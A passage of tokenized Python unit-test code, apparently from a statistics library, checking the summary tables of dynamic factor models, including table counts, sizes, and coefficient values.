"\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Result", "s", " ", "for", " ", "equation", " ", "%", "s", "'_", "%_", "name_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "load", "ing", ".", "f1", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset", "\\u", "loading_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "load", "ing", ".", "f2", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset", "\\u", "loading_", "+_", "1_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "factor", ",", " ", "check", " ", "the", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "factors_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "*_", "(_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "1_", ")_", "+_", "i_", "*_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "tables_", "[_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "i_", "+_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Result", "s", " ", "for", " ", "factor", " ", "equation", " ", "f", "%", "d", "'_", "%_", "(_", "i_", "+_", "1_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "L1", ".", "f1", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "L1", ".", "f2", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "1_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "Error", " ", "covariance", " ", "matrix", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "table_", "=_", "tables_", "[_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Error", " ", "covariance", " ", "matrix", "'_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "offset_", "=_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "*_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sigma", "2", ".", "%", "s", " ", "+", "%", "s", "'_", "%_", "(_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", ",_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "i_", "]_", ",_", "prec_", "=_", "4_", ")_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Dynamic", "Factor", "\\u", "exo", "g2_", "(_", "Check", "Dynamic", "Factor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "summary_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "summary_", "=_", "self_", "._", "results_", "._", "summary_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tables_", "=_", "[_", "str_", "(_", "table_", ")_", "for_", "table_", "in_", "summary_", "._", "tables_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "self_", "._", "true_", "[_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "number", " ", "of", " ", "tables_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "tables_", ")_", ",_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "model", " ", "over", "view", " ", "table_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "r", "'", "Model", ":.", "*", "Dynamic", "Factor", "\\\\(", "factor", "s", "=", "1", ",", " ", "order", "=", "1", "\\\\)", "'_", ",_", "tables_", "[_", "0_", "]_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "r", "'.*", "2", " ", "regressor", "s", "'_", ",_", "tables_", "[_", "0_", "]_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "endo", "geno", "us", " ", "variab", "le", ",", " ", "check", " ", "the", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset", "\\u", "loading_", "=_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "*_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset", "\\u", "exo", "g_", "=_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "*_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "tables_", "[_", "i_", "+_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Result", "s", " ", "for", " ", "equation", " ", "%", "s", "'_", "%_", "name_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "load", "ing", ".", "f1", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset", "\\u", "loading_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "beta", ".", "const", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset", "\\u", "exo", "g_", "+_", "i_", "*_", "2_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "beta", ".", "x1", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset", "\\u", "exo", "g_", "+_", "i_", "*_", "2_", "+_", "1_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "factor", ",", " ", "check", " ", "the", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "factors_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "*_", "(_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "3_", ")_", "+_", "i_", "*_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "tables_", "[_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "i_", "+_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Result", "s", " ", "for", " ", "factor", " ", "equation", " ", "f", "%", "d", "'_", "%_", "(_", "i_", "+_", "1_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "L1", ".", "f1", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "Error", " ", "covariance", " ", "matrix", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "table_", "=_", "tables_", "[_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Error", " ", "covariance", " ", "matrix", "'_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "offset_", "=_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "*_", "(_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "sigma", "2", ".", "%", "s", " ", "+", "%", "s", "'_", "%_", "(_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", ",_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "i_", "]_", ",_", "prec_", "=_", "4_", ")_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Dynamic", "Factor", "\\u", "genera", "l\\u", "errors_", "(_", "Check", "Dynamic", "Factor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "summary_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "summary_", "=_", "self_", "._", "results_", "._", "summary_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tables_", "=_", "[_", "str_", "(_", "table_", ")_", "for_", "table_", "in_", "summary_", "._", "tables_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "self_", "._", "true_", "[_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "number", " ", "of", " ", "tables_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "tables_", ")_", ",_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "model", " ", "over", "view", " ", "table_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "r", "'", "Model", ":.", "*", "Dynamic", "Factor", "\\\\(", "factor", "s", "=", "1", ",", " ", "order", "=", "1", "\\\\)", "'_", ",_", "tables_", "[_", "0_", "]_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "r", "'.*", "VAR", "\\\\(", "1", "\\\\)", " ", "error", "s", "'_", ",_", "tables_", "[_", "0_", "]_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "endo", "geno", "us", " ", "variab", "le", ",", " ", "check", " ", "the", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset", "\\u", "loading_", "=_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "*_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "tables_", "[_", "i_", "+_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Result", "s", " ", "for", " ", "equation", " ", "%", "s", "'_", "%_", "name_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "load", "ing", ".", "f1", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset", "\\u", "loading_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "factor", ",", " ", "check", " ", "the", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "factors_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "*_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "6_", "+_", "i_", "*_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "tables_", "[_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Result", "s", " ", "for", " ", "factor", " ", "equation", " ", "f", "%", "d", "'_", "%_", "(_", "i_", "+_", "1_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "L1", ".", "f1", " ", "+'_", "+_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "0_", "]_", ",_", "prec_", "=_", "4_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "error", " ", "equation", ",", " ", "check", " ", "the", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "*_", "(_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "i_", ")_", "+_", "6_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "tables_", "[_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Result", "s", " ", "for", " ", "error", " ", "equation", " ", "e", "\\\\(", "%", "s", "\\\\)", "'_", "%_", "name_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "table_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ")_", ",_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Check", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "right", " ", "coefficients_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "j_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "L1", ".", "e", "\\\\(", "%", "s", "\\\\)", " ", "+", "%", "s", "'_", "%_", "(_", "name_", ",_", "for", "g_", "(_", "params_", "[_", "offset_", "+_", "j_", "]_", ",_", "prec_", "=_", "4_", ")_", ")_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "Error", " ", "covariance", " ", "matrix", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "table_", "=_", "tables_", "[_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "'", "Error", " ", "covariance", " ", "matrix", "'_", ",_", "table_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "it", "'", "s", " ", "the", " ", "right", " ", "size_", 